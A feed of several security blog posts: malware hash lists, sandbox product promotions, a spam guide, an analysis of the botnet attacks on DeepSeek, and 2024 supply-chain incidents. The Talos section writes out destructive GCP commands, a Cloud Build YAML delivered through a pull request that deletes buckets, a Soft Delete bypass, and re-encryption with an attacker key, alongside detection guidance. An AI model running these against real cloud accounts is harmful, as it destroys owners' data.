S4x25 (February 10-12, 2025)
Tampa, FL

RSA (April 28-May 1, 2025)
San Francisco, CA

TIPS 2025 (May 14-15, 2025)
Arlington, VA

Most prevalent malware files from the week

SHA 256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

MD5: 2915b3f8b703eb744fc54c81f4a9c67f 

VirusTotal: https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 

Typical Filename: VID001.exe 

Claimed Product: N/A 

Detection Name: Win.Worm.Coinminer::1201 

 

SHA256: 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

MD5: 71fea034b422e4a17ebb06022532fdde 

VirusTotal: https://www.virustotal.com/gui/file/47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca 

Typical Filename: VID001.exe 

Claimed Product: n/a  

Detection Name: Coinminer:MBT.26mw.in14.Talos 

 

SHA256:873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f  

MD5: d86808f6e519b5ce79b83b99dfb9294d   

VirusTotal: 

https://www.virustotal.com/gui/file/873ee789a177e59e7f82d3030896b1efdebe468c2dfa02e41ef94978aadf006f 

Typical Filename: n/a  

Claimed Product: n/a   

Detection Name: Win32.Trojan-Stealer.Petef.FPSKK8   

 

SHA 256:7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5   

MD5: ff1b6bb151cf9f671c929a4cbdb64d86   

VirusTotal: https://www.virustotal.com/gui/file/7b3ec2365a64d9a9b2452c22e82e6d6ce2bb6dbc06c6720951c9570a5cd46fe5  

Typical Filename: endpoint.query   

Claimed Product: Endpoint-Collector   

Detection Name: W32.File.MalParent   

  

SHA 256: 744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241 

MD5: a5e26a50bf48f2426b15b38e5894b189 

VirusTotal: https://www.virustotal.com/gui/file/744c5a6489370567fd8290f5ece7f2bff018f10d04ccf5b37b070e8ab99b3241 

Typical Filename: a5e26a50bf48f2426b15b38e5894b189.vir 

Claimed Product: N/A 

Detection Name: Win.Dropper.Generic::1201 

Cisco Talos Blog – ​Read More

Instant URL Analysis: Use Safebrowsing via ANY.RUN’s Extension

/in

Phishing attempts, malicious redirects, and hidden malware can lurk in seemingly harmless links, putting your company’s data and systems at risk. To streamline threat detection and response, ANY.RUN has upgraded its browser extension, making the Safebrowsing feature free for all users. 

How Safebrowsing Works in ANY.RUN’s Extension 

The Welcome screen of ANY.RUN’s browser extension 

Safebrowsing from ANY.RUN provides a fully functional browser, allowing users to interact with potential threats safely. This is especially useful for investigating multi-stage phishing attacks and CAPTCHA-based fraud.  

Now, security teams can quickly analyze suspicious URLs without extra steps and launch analysis in ANY.RUN’s Safebrowsing instantly. This eliminates the hassle of copying and pasting links into the platform manually, making security investigations faster and more efficient! 

Most importantly, it’s completely free! 

How to Use Safebrowsing for Free 

ANY.RUN’s Safebrowsing feature is now available for all users at no cost—all you need is a registered account to start analyzing suspicious links instantly. 

  1. Install the ANY.RUN browser extension 
Safebrowsing extension inside the right-click menu 
  1. Right-click on any suspicious link 
  1. Select “Safebrowsing” to launch an instant analysis 

How Safebrowsing Helps Agasinst Cyber Attacks 

With the updated extension, businesses can take advantage of Safebrowsing’s capabilities to: 

Check suspicious links with a single click: No need to manually copy and paste URLs into the sandbox. Simply use the Safebrowsing option from your browser’s right-click menu, and the link will open in an isolated environment. 

Speed up threat analysis: The extension streamlines the process, allowing security teams to quickly assess a link’s behavior in a full-size virtual browser without interacting with the page on their own system. 

Ensure safe link browsing for employees: By testing unknown URLs in an isolated virtual browser before opening them on company devices, businesses can prevent malware infections, credential theft, and phishing attacks. 

Equip your security team with instant URL analysis 
Install ANY.RUN’s browser extension 



Try it now


Don’t have an ANY.RUN account yet? Sign up now.

Use Cases for Safebrowsing 

With Safebrowsing, security analysts can interact with the entire attack chain, observe network activity, and uncover hidden threats in a controlled environment. 

Multi-Stage Phishing Analysis 

In the following Safebrowsing example, we analyze a phishing attempt disguised as a TransferNow link — a free file transfer service that allows sending large documents up to 250GB. 

View Safebrowsing analysis session 

Right-clicking on the suspicious link instantly opens it in ANY.RUN’s isolated browser, eliminating the need to copy and paste URLs manually. 

The link leads to a fake TransferNow page, appearing to offer a free document download. After clicking the download file button, a PDF file opens instead. 

Transfernow page with malicious file 

The PDF mimics a SharePoint document, prompting the user to download yet another file. This staged approach is a common tactic in phishing schemes, forcing users into a series of seemingly harmless steps to lower suspicion. 

Malicious document displayed inside Safebrowsing 

Once the second file is downloaded, a Microsoft sign-in page appears. However, after closer inspection, we see that the URL has no connection to Microsoft. This is a clear indicator of a fraudulent attempt to steal login credentials. 

Fake Microsoft login page 

Additional red flags include a broken favicon, which often signals a hastily put-together phishing page lacking proper hosting configurations. 

CAPTCHA-Based Fraud Investigation 

Cybercriminals use CAPTCHA barriers to block automated scanners while still targeting real users. Safebrowsing lets you bypass these obstacles with automated interactivity and analyze what’s behind the CAPTCHA wall. 

View attack analysis inside Safebrowsing 

Suspicious link opening inside ANY.RUN’s Safebrowsing 

For this example, a suspicious link is right-clicked, and the “Safebrowsing” option is selected. The link automatically opens inside the Safebrowsing service, saving time and streamlining the investigation. 

The link initially loads a Cloudflare “Verify You’re Human” CAPTCHA page, a tactic often used to evade automated scanning tools. 

Cloudflare verification required to proceed 

After passing the CAPTCHA, the page redirects to what appears to be a Google login page. However, upon closer inspection, the URL is fake, having no connection to Google. 

Fake Google login page inside Safebrowsing 

Another major red flag is the broken Google favicon, a common sign of a poorly cloned phishing site. Legitimate websites rarely have favicon issues, making this a simple yet effective phishing indicator. 

The Network Inspector, located in Safebrowsing’s upper-right corner of the screen, provides a detailed view of network connections, HTTP requests, and potential threats triggered by Suricata rules.  

Network Inspector inside Safebrowsing 

This feature allows analysts to monitor outgoing and incoming traffic, inspect request headers and payloads, and identify malicious activity in real time.  

By using Suricata-based detection, security teams can quickly spot anomalies, detect exploit attempts, and track threat actor infrastructure, making network analysis faster and more effective.

Phishing domain triggered by Suricata rule 

These cases demonstrate how Safebrowsing allows businesses to quickly expose phishing schemes, track multiple attack stages, and analyze network behavior, all without putting corporate infrastructure at risk. 

Sandbox Analysis with the Extension 

For businesses and security teams, the full version of the extension offers even more powerful capabilities. Beyond Safebrowsing, users can launch analysis sessions inside ANY.RUN’s Interactive Sandbox to access: 

  • File and Link Analysis: Analyze files and links on fully interactive Windows (7-11 version) cloud virtual machines (VMs). 
  • Comprehensive Threat Reports: Generate detailed threat reports in JSON, MISP, and HTML formats, including IOCs and malware configurations. 
  • Malicious Behavior Monitoring: Observe samples’ malicious behavior and study tactics, techniques, and procedures (TTPs) using the MITRE ATT&CK Matrix. 
  • Customizable Settings: Adjust settings for system reboot, locale selection, and network features like MITM proxy and FakeNET. 
  • Extended Analysis: Run VMs for up to 1200 seconds for in-depth analysis. 

To utilize the sandbox functionality via the extension, you will need an active Hunter or Enterprise subscription. Each analysis session launched through the extension counts towards your API quota. 

Access all features of ANY.RUN’s Interactive Sandbox 



Get 14-day free trial


Conclusion 

With these enhanced features, security teams can streamline their workflow, uncover hidden threats, and improve detection accuracy, all from within their browser. Install ANY.RUN’s extension now to try it right away! 

About ANY.RUN

ANY.RUN helps more than 500,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search, and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.

Request free trial of ANY.RUN’s services → 

The post Instant URL Analysis: Use Safebrowsing via ANY.RUN’s Extension appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

Google Cloud Platform Data Destruction via Cloud Build

/in

Background & Public Research

Google Cloud Platform Data Destruction via Cloud Build

Google Cloud Platform (GCP) Cloud Build is a Continuous Integration/Continuous Deployment (CI/CD) service offered by Google that is utilized to automate the building, testing and deployment of applications. Orca Security published an article describing certain aspects of the threat surface posed by this service, including a supply chain attack vector they have termed “Bad.Build”. One specific issue they identified, that Cloud Build pipelines with the default Service Account (SA) could be utilized to discover all other permissions assignments in a GCP project, was resolved by Google after Orca reported it. The general threat vector of utilizing Cloud Build pipelines to perform malicious actions, however, is still present. A threat actor with just the ability to submit and run a Cloud Build job (in other words, who has the cloudbuild.builds.create permission) can execute any gcloud GCP command line interface (CLI) command that the Cloud Build SA has the permissions to perform. A threat actor could perform these techniques either by obtaining credentials for a GCP user or SA (Mitre ATT&CK T1078.004) or by pushing or merging code into a repository with a Cloud Build pipeline configured (Mitre T1195.002). Orca Security focused on utilizing this threat vector to perform a supply chain attack by adding malicious code to a victim application in GCP Artifact Registry. Talos did not extensively examine this technique since Orca’s research was quite comprehensive, but confirmed it is still possible.

Original Research

Cisco Talos research detailed below focused on malicious actions enabled by the storage.* permission family, while the original Orca research detailed a supply chain attack scenario enabled by the artifactregistry.* permissions. Beyond the risk posed by the default permissions, any additional permissions assigned to the Cloud Build SA could potentially be leveraged by a threat actor with access to this execution vector, which is an area for potential future research. While Orca mentioned that a Cloud Build job could be triggered by a merge event in a code repository, in their article they utilized the gcloud Command Line Interface (CLI) tool to trigger the malicious build jobs they performed. Talos meanwhile utilized commits to a GitHub repository configured to trigger a Cloud Build job, since this is a form of Initial Access vector that would allow a threat actor to target GCP accounts without access to an identity principal for the GCP account.

Unlike the Orca Security findings, Talos does not assess that the attack path illustrated in the following research represents a vulnerability or badly architected service. There are legitimate business use cases for every capability and default permission that we utilized for malicious intent, and Google has provided robust security recommendations and defaults. This research, instead, should be taken as an instructive illustration of the risks posed by these capabilities for cloud administrators who may be able to limit some of the features that were misused if they are not needed in a particular account. It can also be a guide for security analysts and investigators who can monitor the Operations Log events identified, threat hunt for their misuse, or identify them in a post-incident incident response workflow.

Defensive Recommendations Summary

Talos recommends creating an anomaly model-style threat detection for the default Cloud Build SA performing actions that are not standard for it to execute in a specific environment. As always, properly applying the principle of least privilege by assigning Cloud Build a lower privileged Service Account with just the permissions needed in a particular environment will also reduce the threat surface identified here. Finally, review the configuration applied to any repositories that can trigger Cloud Build or other CI/CD service jobs, require manual approval for builds triggered by Pull Requests (PRs) and avoid allowing anyone to directly commit code to GitHub repositories without a PR. More details on all three of these topics are described below.

Lab Environment Setup

Talos has an existing Google Cloud Platform lab environment utilized for offensive security research. Within that environment, a Cloud Storage bucket was created and the Cloud Build Application Programming Interface (API) were enabled. Additionally, a target GitHub repository was created; For research purposes, this repository was set to private, but an actual adversary would likely take advantage of a public repository in most cases. The Secrets Manager API is also needed for Cloud Build to integrate with GitHub, so that was also enabled. These actions can be performed using the gcloud and GitHub gh CLI tools using the following commands:

gcloud storage buckets create BUCKET_NAME --location=LOCATION --project=PROJECT_ID
gcloud services enable cloudbuild.googleapis.com --project=PROJECT_ID
gcloud services enable secretmanager.googleapis.com --project=PROJECT_ID
gh repo create REPO_NAME --private --description "Your repository description"

Next, to simulate a real storage bucket populated with data, a small shell script was executed that created 100 text files containing random data and transferred them to the new Cloud Storage bucket.

#!/bin/bash
# Set your bucket name here
BUCKET_NAME="data-destruction-research"
# Create a directory for the files
mkdir -p random_data_files
# Generate 500 files with 10MB of random data
for i in {1..100}
do
    FILE_NAME="random_data_files/file_$i.txt"
    # Use /dev/urandom to generate random data and `head` to limit to 10MB
    head -c $((10*1024*1024)) </dev/urandom > "$FILE_NAME"
    echo "Generated $FILE_NAME"
done
# Upload the files to the GCP bucket
for FILE in random_data_files/*
do
    gsutil cp "$FILE" "gs://$BUCKET_NAME/"
    echo "Uploaded $FILE to gs://$BUCKET_NAME/"
done
Google Cloud Platform Data Destruction via Cloud Build

Then the GitHub repository and Cloud Build were integrated by creating a connection between the two resources, which can be done using the following command, followed by authenticating and granting access on the GitHub.com side.

gcloud builds connections create github CONNECTION_NAME --region=REGION

Finally, a Cloud Build “trigger” that starts a build when code is pushed to the main branch, a pull request (PR) is created, or code is committed to an existing pull request in the victim GitHub repository, was configured. This can be done using the following gcloud command:

gcloud builds triggers create github 
  --name=TRIGGER_NAME 
  --repository=projects/PROJECT_ID/locations/us-west1/connections/data-destruction/repositories/REPO_NAME 
  --branch-pattern=BRANCH_PATTERN # or --tag-pattern=TAG_PATTERN 
  --build-config=BUILD_CONFIG_FILE 
  --region=us-west1
Google Cloud Platform Data Destruction via Cloud Build

Defensive Notes

Google’s documentation warns users that it is recommended to require manual approval to trigger a build if utilizing the creation of a PR or a commit to a PR as a trigger condition, since any user that can read a repo can submit a PR. This is excellent advice that should be followed whenever possible, and reviewers should be made aware of the threat surface posed by Cloud Build. For the purpose of illustrating the potential threat vector here, this advice was not heeded and manual approval was not setup in the Talos lab environment. Builds can also be triggered based on a PR being merged into the main branch, which is another reason besides protecting the integrity of the repository that an approving PR review should be required before PRs are merged.

There may be real world scenarios where a valid business case exists to allow automatic build events when a PR is created, which is why a proper defense in depth strategy should include monitoring the events performed by any Service Accounts assigned to Cloud Build. Google also offers the ability to require a comment containing the string “/gcbrun” from either just a user with the GitHub repository owner or collaborator roles or any contributor to be made on a PR to trigger the Cloud Build run. This is another strong security feature that should be configured with the owner or collaborator option selected if possible. If performing a penetration test or red teaming engagement and attempting to target GCP via a GitHub PR, it may be worth commenting that string on your malicious PR in case the Cloud Build trigger is configured to allow any contributor this privilege.

Research & Recommendations

Data Destruction (Mitre ATT&CK T1485)

Talos has previously covered data destruction for impact within GCP Cloud Storage during the course of a Purple Teaming Engagement focused on GCP, but expanded upon this research and utilized the GitHub-to-Cloud Build execution path in this research. The first specific behavior performed, deleting a Cloud Storage bucket, can be performed using the following gcloud command:

gcloud storage rm --recursive gs://BUCKET_NAME

To perform this via a Cloud Build pipeline, Orca’s simple Proof of Concept (PoC) example Cloud Build configuration file, itself in turn based on the example in Google’s documentation, was modified slightly as follows:

- name: 'gcr.io/cloud-builders/gcloud'
  args: ['storage', 'rm', '--recursive', 'gs://BUCKET_NAME']

This YAML file was then committed to a GitHub branch and a PR was created for it, which can be done utilizing the following commands:

git clone <repo URL>
cd <repo name>
cp ../totally-not-data-destruction.yaml cloudbuild.yaml
git add cloudbuild.yaml
git commit -m "Not going to do anything bad at all"
git push
gh pr create

In the Orca Security research, a Google Cloud Storage (GCS) bucket for the Cloud Build runtime logs is required. Since threat actors typically wish to avoid leaving forensic artifacts behind, they may choose to specify a GCS bucket in a different GCP account under their control. This provides a detection opportunity by looking for the utilization of an external GCS bucket in a Cloud Build event, assuming all the storage buckets in the account are known. However, when running a Cloud Build job via a GitHub or other repository trigger, specifying a GCS bucket for storing logs is not required.

GCP offers the ability to configure “Soft Delete”, a feature that enables the restoration of accidentally or maliciously deleted GCS buckets and objects for a configurable time period. This is a strong security feature and should be enabled whenever possible. However, as is noted in their official documentation, when a bucket is deleted, its name becomes available for use again and if claimed during the creation of a new bucket, it will no longer by possible to restore the deleted GCS bucket. To truly destroy data in a GCS bucket, an adversary therefore just needs to immediately create a new bucket with the same name after deleting the previous one.

The Cloud Build configuration file can be updated to accomplish this as follows:

steps:
- name: 'gcr.io/cloud-builders/gcloud'
  args: ['storage', 'rm', '--recursive', 'gs://BUCKET_NAME']
  args: ['storage', 'buckets', 'create', 'gs://BUCKET_NAME', '--location=BUCKET_LOCATION']

Defensive Notes

Log Events

All of the events discussed above are logged by Google Operations Logs. The following Operations Logs events were identified during the research:

  • google.devtools.cloudbuild.v1.CloudBuild.RunBuildTrigger
    • This event logs the creation of a new build via a connection trigger, such as the GitHub Pull Request trigger method discussed above. This will be very useful for a Digital Forensics & Incident Response (DFIR) investigator as part of an investigation, but is unlikely to be a good basis for a threat detection.
  • google.devtools.cloudbuild.v1.CloudBuild.CreateBuild
    • This event logs the manual creation of a new build, and indicates what identity principal triggered the event. If the build was manually triggered and has a GCS bucket specified as a destination for build logs, that bucket’s name will be specified in the field protoPayload.request.build.logsBucket=”gs://gcb_testing”. If this field is present, a threat detection or threat hunting query for unknown buckets outside known infrastructure may be of use. Additionally, like with most cloud audit log events, significant quantities of failed CreateBuild events followed by a successful event may be indicative of an adversary attempting to discover new capabilities or escalate privileges Otherwise, since this is a perfectly legitimate event, like RunBuildTrigger it will primarily be of use for DFiR investigations rather than threat detections.
  • storage.buckets.delete
    • An event with this methodName value logs the deletion of a GCS bucket. It is automatically of interest during the course of a DFIR investigation that involves data destruction, and may be worth threat hunting for if the value of the protoPayload.authenticationInfo.principalEmail is the default Cloud Build Service Account. This is not automatically worthy of a threat detection, as it can be legitimate for Cloud Build to use a GCS bucket to store temporary data and delete it after the build is complete, but it is likely a good candidate for an anomaly model detection.
  • storage.buckets.create
    • While relatively uninteresting in isolation, if this event shortly follows a storage.buckets.delete event it may be indicative of an attempt to bypass the protections offered by Safe Delete, as described above. This may be automatically detection worthy, and would definitely be a useful threat hunting or DFIR investigation query.

Data Encrypted for Impact (Mitre ATT&CK T1486)

Cloud object storage is not inherently immune from ransomware, but despite the concerns of a potential for “ransomcloud” attacks and other similar threat vectors, it is actually quite difficult to irreversibly encrypt objects in a cloud storage bucket. It is much more likely that a data-focused cloud impact attack will involve exfiltrating the objects and deleting them before offering them back in exchange for a ransom, rather than encrypting them. In Google Cloud Storage, all objects are encrypted by default using a Google-managed encryption key, but GCS also supports three other methods of encrypting objects. These methods are server side encryption using the Cloud Key Management Service (CKMS) to manage the keys, also known as customer-managed encryption, server side encryption using a customer provided key not stored in the cloud account at all, and client side encryption of the objects. With customer-managed encryption, if an adversary implements this approach, the legitimate owner of the objects will have access to the CKMS and be able to decrypt them. With either a customer provided encryption key or client side encryption, a customer may be able to overwrite the original versions of the objects, though if the bucket has Object Versioning enabled, an administrator can simply revert to a previous version of the object to retrieve it.

If an adversary is able to identify a bucket that does not have Object Versioning configured, they may be able to utilize the Cloud Build attack vector described previously to encrypt existing objects with a customer provided key that they control. This is possible using the following gcloud CLI command:

gcloud storage cp SOURCE_DATA gs://BUCKET_NAME/OBJECT_NAME --encryption-key=YOUR_ENCRYPTION_KEY

And was performed by updating the previously described cloudbuild.yaml file with entries for 10 objects in the bucket, then triggering another build. In an actual attack, enumeration of the stored objects followed by encryption of all of them would be required.

Defensive Notes

The creation of the new encrypted file was logged with an event of type storage.objects.create, but unfortunately there was no indication that a customer-provided encryption key was utilized for encryption in the event’s body. Therefore there was nothing especially anomalous about the event for a detection or investigator to look for. This whole attack vector though can again be obviated by enabling Object Versioning and Soft Delete, so that is highly recommended.

Cisco Talos Blog – ​Read More

How to detect and defeat spam | Kaspersky official blog

/in

“Hello, this is your distant relative from Nigeria. I’m writing because I have a terminal illness and no other living relatives. My dying wish is to transfer my inheritance of $100 million to you while I still can…” — we’ve all probably received an email like this at some point during our online existence. Originally known as “Nigerian prince” scams, today they bear the label “419” (after the section of the Nigerian Criminal Code dealing with fraud). These days, however, instead of a “Nigerian prince”, you’re more likely to receive a letter from a fake employee of a bank, online store, or delivery service — or even… the President of the United States.

This post looks at the most common types of spam emails, and explains what to do if one lands in your inbox.

Emails from investors, philanthropists, and other rich people

This is perhaps the oldest — and most common — email scam scenario. Even in 2025, benefactors of all stripes are queuing up to hand over their hard-earned cash to you in particular. Such emails are nothing if not formulaic: a fabulously rich individual (a) describes their source of wealth, (b) mentions a problem, and (c) proposes a solution. Let’s take a look at each step in turn:

  • The source of wealth can be anything: an inheritance, an incredibly profitable business in a faraway land, or a discovered crypto wallet worth millions.
  • The problem can also vary — from a fatal disease to a burning desire to donate everything to charity, and your help is needed.
  • The solution is always the same: the money needs to be transferred to your account ASAP.

Of course, if you reply with your deepest condolences and bank details, it’s unlikely that the promised millions will materialize. Instead, the scammers will use every tool in the box to get you transfer cash to them. For example, this may take the form of a “transfer fee” they can’t pay themselves for some reason.

Don’t believe such an email, even if it seems to come from the U.S. president. Riding the wave of the Donald Trump phenomenon, spammers have launched a new-old scam in which they email potential victims pretending to be the White House incumbent, who for some reason has decided to give US$15 million to a handful of lucky souls around the world. To claim your millions, you only need to reply to the email, whereupon the fake Donald will ask you to follow a link and enter your bank details, or pay a fee to have the funds transferred to your account.

Delivery scams

Spam arrives from spoofed email addresses of delivery services, marketplaces, and online stores. The message is simplicity itself: “Dear customer, we are having problems with sending your goods and kindly ask that you pay a surcharge for delivery.” You’re asked to pay for delivery by following a link to a web page that asks for your bank details at the very least, and often also your home address. You can find examples of such spam in our Delivery payment fraud post.

There are more complex variations of this scheme. Just as “philanthropists”, “investors”, and “Nigerian princes” spin yarns about their imminent death from covid-19 as a pretext to make contact, delivery scammers also exploit current events. Last year, for instance, ahead of International Women’s Day, we warned readers of a flower delivery scam: cybervillains introduce themselves as flower-shop employees offering free bouquets — except that delivery charges are covered by the recipient. You guessed it: no one gets any flowers, and the “delivery fee” (as well as the bank card details) are lost.

Compensation scams

If you’ve swallowed the bait once, there’s a high risk you’ll be offered some more — but under a different guise. Masquerading as a bank, law enforcement agency, or international organization, scammers may offer to pay compensation: allegedly you’ve been the victim of fraud and the targeted institution is reaching out to those affected.

Alternatively, the senders of the fake email may pose as “fellow victims” who are seeking out others in the same boat: if we all chip in, they say, we can hire a merry band of Robin Hood hackers who, for a reward, will get all our money back.

Spammers can even pose as top managers of large banks. In this case, the email will weave a tale about how ~“… bad employees tried to steal your money, but we, the good managers, are ready to compensate you for the inconvenience.” But of course, there’ll be no compensation at all — it’s just a pretext for further extortion.

What to do if spam lands in your inbox

The first step is to identify it as such. Nowadays, most email clients automatically send unsolicited and suspicious messages to the Spam folder, but if one does sneak into your inbox, you need to identify it yourself. Carefully examine the text of the email for spelling and grammar mistakes, check the sender address, and ask yourself a few questions:

  1. Is it relevant to me?
  2. Why has a millionaire uncle I’ve never heard of suddenly got in touch?
  3. Where did they get my email address?
  4. Why should I pay to receive the money?

By answering these four questions honestly, you’ll know whether the email in front of you is spam or not. Here are our tips to reduce the amount of spam in your inbox:

  • Don’t respond. Even if the sender wants to give you a million bucks, buy you a new smartphone, or help you get back something stolen.
  • Don’t disclose personal information. Threat actors can scrape your name, phone number, and email address from a social network where you’ve kindly provided them yourself.
  • Don’t follow suspicious links. It’s quite easy to distinguish real links from fake ones: our Passwords 101: don’t enter your passwords just anywhere they’re asked for post explains how. Easier still is to install reliable protection on all your devices: Kaspersky Premium automatically blocks redirects to malicious sites — keeping you safe.
  • Don’t enter your data. If you impulsively followed a link in an email, or responded to the sender in some way, and now you’re having doubts, don’t under any circumstances enter personal or payment information. A request for such data is the same as hanging out a red flag saying “We are scammers!”
  • Report fraud. Here are the instructions on how to report spam in Google Mail, and how to filter messages on Apple devices.

Kaspersky official blog – ​Read More

Cyber Attacks on DeepSeek AI: What Really Happened? Full Timeline and Analysis

/in

Less than a month after its launch, DeepSeek has already shaken up the industry, caused NVidia’s stock to shed $600 billion, and sparked political controversy.  

Now, the AI company is dealing with the consequences of major cyber attacks. As of February 5, DeepSeek is still having trouble letting new users join.  

Let’s review the entire timeline of the attacks and take a closer look at the two botnets, HailBot and RapperBot, responsible for the latest disruptions, using ANY.RUN’s Interactive Sandbox. 

What is DeepSeek 

DeepSeek is an Artificial Intelligence company based in China and founded in late 2023. On January 20, 2025, it launched its first DeepSeek-R1 model, which instantly gained millions of app downloads worldwide.  

The success of the release came down to several factors: 

  • DeepSeek achieved AI model performance comparable to OpenAI’s (the company behind ChatGPT) for under $6 million. 
  • DeepSeek uses less-advanced chips, making its AI operations up to 50 times cheaper than competitors. 
  • DeepSeek’s AI is open source. 

Cyber Attacks on DeepSeek: Timeline 

January 27 

DeepSeek paused new user registrations, citing “large-scale malicious attacks” on its infrastructure. 

January 28 

Wiz.io reported discovering a leaked ClickHouse database linked to DeepSeek, which contained users’ chat histories and API keys. This leak was likely unrelated to the cyber attacks mentioned by DeepSeek. 

January 29 

Global Times revealed that DeepSeek had been facing regular distributed denial-of-service (DDoS) attacks since early January, involving reflection amplification techniques. 

Starting January 22, HTTP proxy attacks began, gradually increasing in frequency and peaking on January 28. These were further accompanied by brute-force attack attempts, which allegedly originated from IP addresses in the United States. 

January 30 

Based on a report by XLab, Global Times disclosed that the latest wave of attacks on DeepSeek involved two botnets, HailBot and RapperBot, both variants of the infamous Mirai botnet.  

The attacks launched early on January 30 used 16 command-and-control (C2) servers and over 100 C2 ports. 

Why Businesses Must Pay Attention 

The cyber attacks on DeepSeek highlight that businesses of all sizes and industries, especially those dependent on extensive digital infrastructure, can be vulnerable to such threats. With botnets like HailBot and RapperBot available as a service, attackers can launch cyber assaults without needing advanced technical skills. 

For companies that rely on AI services, the consequences can be even more severe, including service disruptions, data breaches, and loss of customer trust. As AI becomes more integral to business operations, it is crucial for companies to invest in robust cybersecurity measures.  

How HailBot and RapperBot Botnets Work 

HailBot 

HailBot, named after the string “hail china mainland,” is known for its DDoS attack capabilities. This variant of Mirai exploits vulnerabilities such as CVE-2017-17215, which affects certain Huawei devices.  

HailBot can compromise a wide range of devices and use them to launch distributed denial-of-service attacks. 

Analysis of HailBot in ANY.RUN’s sandbox 

By uploading a sample of HailBot to ANY.RUN’s Interactive Sandbox, we can get a detailed view of how it operates. 

View analysis 

HailBot’s network connections detected by ANY.RUN 

The network traffic shows how the malware connects to its C2 server.

Suricata rule used for detecting HailBot’s C2 activity 

Suricata IDS instantly identifies HailBot’s connection and notifies the user about its activities. 

Submit suspicious files and URLs to ANY.RUN
for proactive analysis of threats targeting your company 



Create free account


RapperBot  

RapperBot primarily spreads through SSH brute-force attacks. It is identified by the string “SSH-2.0-HELLOWORLD” and reports valid credentials back to its command and control (C2) server. Once RapperBot compromises a device, it performs several malicious actions: 

  • Replaces the ~/.ssh/authorized_keys file with its own public key, ensuring persistent access to the compromised device. 
  • Creates a superuser account called “suhelper” by editing the /etc/passwd and /etc/shadow files. 
  • Continually scans for more targets using updated credential lists provided by its C2 server. 

RapperBot also includes cryptojacking capabilities through the XMRig Monero miner, allowing it to mine cryptocurrency on compromised devices. 

After we upload RapperBot’s sample to the sandbox, we can see how it generates significant network traffic.  

View analysis 

The number of connections attempted by RapperBot reached 139,405 in three minutes 

In less than three minutes, nearly 140,000 attempts to establish network connections were recorded.

The sandbox provides a conclusive verdict on the threat along with relevant tags

This high volume of traffic makes these botnets easily detectable in ANY.RUN’s sandbox environment. 


Learn to analyze malware in a sandbox

Learn to analyze cyber threats

See a detailed guide to using ANY.RUN’s Interactive Sandbox for malware and phishing analysis


Read full guide


Conclusion 

The cyberattack on DeepSeek underscores the ongoing threat posed by sophisticated botnets like HailBot and RapperBot. As cybersecurity experts continue to analyze the incident, it is crucial for organizations to remain vigilant and proactive in their defense strategies.  

ANY.RUN’s detection capabilities have proven effective in identifying these threats, and we will continue to monitor and report on such incidents. 

About ANY.RUN

ANY.RUN helps more than 500,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search, and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.

Request free trial of ANY.RUN’s services → 

The post Cyber Attacks on DeepSeek AI: What Really Happened? Full Timeline and Analysis appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

The biggest supply chain attacks in 2024 | Kaspersky official blog

/in

A supply-chain attack can totally thwart all a targeted company’s efforts to protect its infrastructure. Preventing such attacks is extremely difficult because a significant portion of an attack occurs in infrastructure that’s not within the security team’s control. This makes supply-chain attacks one of the most dangerous threats in recent years, and today we’ll look at some of the biggest that took place in 2024.

January 2024: malicious npm packages stole SSH keys from hundreds of developers on GitHub

The first major supply-chain attack in 2024 involved malicious npm packages uploaded to GitHub in early January. The main purpose of these modules, named warbeast2000 and kodiak2k, was to search infected systems for SSH keys and send them back to the criminals. Some versions of kodiak2k also included a script to launch Mimikatz, a tool used to extract passwords from memory.

In total, attackers managed to publish eight versions of warbeast2000, and over 30 versions of kodiak2k. By the time they were discovered and removed from the repository, the malicious packages had already been downloaded 412 and 1281 times, respectively — meaning potentially hundreds of developers were affected.

February 2024: abandoned PyPI package used to distribute NovaSentinel infostealer

In February, a malicious update was discovered in the django-log-tracker package, which was hosted on the Python Package Index (PyPI). The latest legitimate version of this module was published in 2022, and since then it had been abandoned by its creators. It appears that the attackers managed to hijack the developer’s PyPI account and upload their own malicious version of the package.

The malicious update contained only two files with identical and very simple code; all the original module content was deleted. This code downloaded an EXE file from a certain URL and executed it.

This EXE file was an installer for the NovaSentinel stealer malware. NovaSentinel is designed to steal any valuable information it can find in the infected system, including saved browser passwords, cryptocurrency wallet keys, Wi-Fi passwords, session tokens from popular services, clipboard contents, and more.

March 2024: backdoor implanted in popular Linux distributions using XZ Utils

In late March an incident was reported that could potentially have become the most dangerous supply-chain attack of 2024 with devastating consequences. As part of a sophisticated operation lasting two-and-a-half years, a GitHub user known as Jia Tan managed to gain control over the XZ Utils project — a set of compression utilities included in many popular Linux distributions.

With the project under his control, Jia Tan published two versions of the package (5.6.0 and 5.6.1), both containing the backdoor. As a result, the compromised liblzma library was included in test versions of several Linux distributions.

According to Igor Kuznetsov, head of Kaspersky’s Global Research & Analysis Team (GReAT), the CVE-2024-3094 vulnerability could have become the biggest ever attack on the Linux ecosystem. Had the vulnerability been introduced into stable distributions, we might have seen massive server compromises. Fortunately, CVE-2024-3094 was detected in test and rolling-release distributions, so most Linux users remained safe.

April 2024: malicious Visual Studio projects spread malware on GitHub

In April, an attack targeting GitHub users was discovered in which attackers published malicious Visual Studio projects. To aid their attack, the attackers skillfully manipulated GitHub’s search algorithm. First, they used popular names and topics for their projects. Second, they created dozens of fake accounts to “star” their malicious projects, creating the illusion of popularity. And third, they automatically published frequent updates, making meaningless changes to a file included solely for this purpose. This made their projects appear fresh and up-to-date compared to available alternatives.

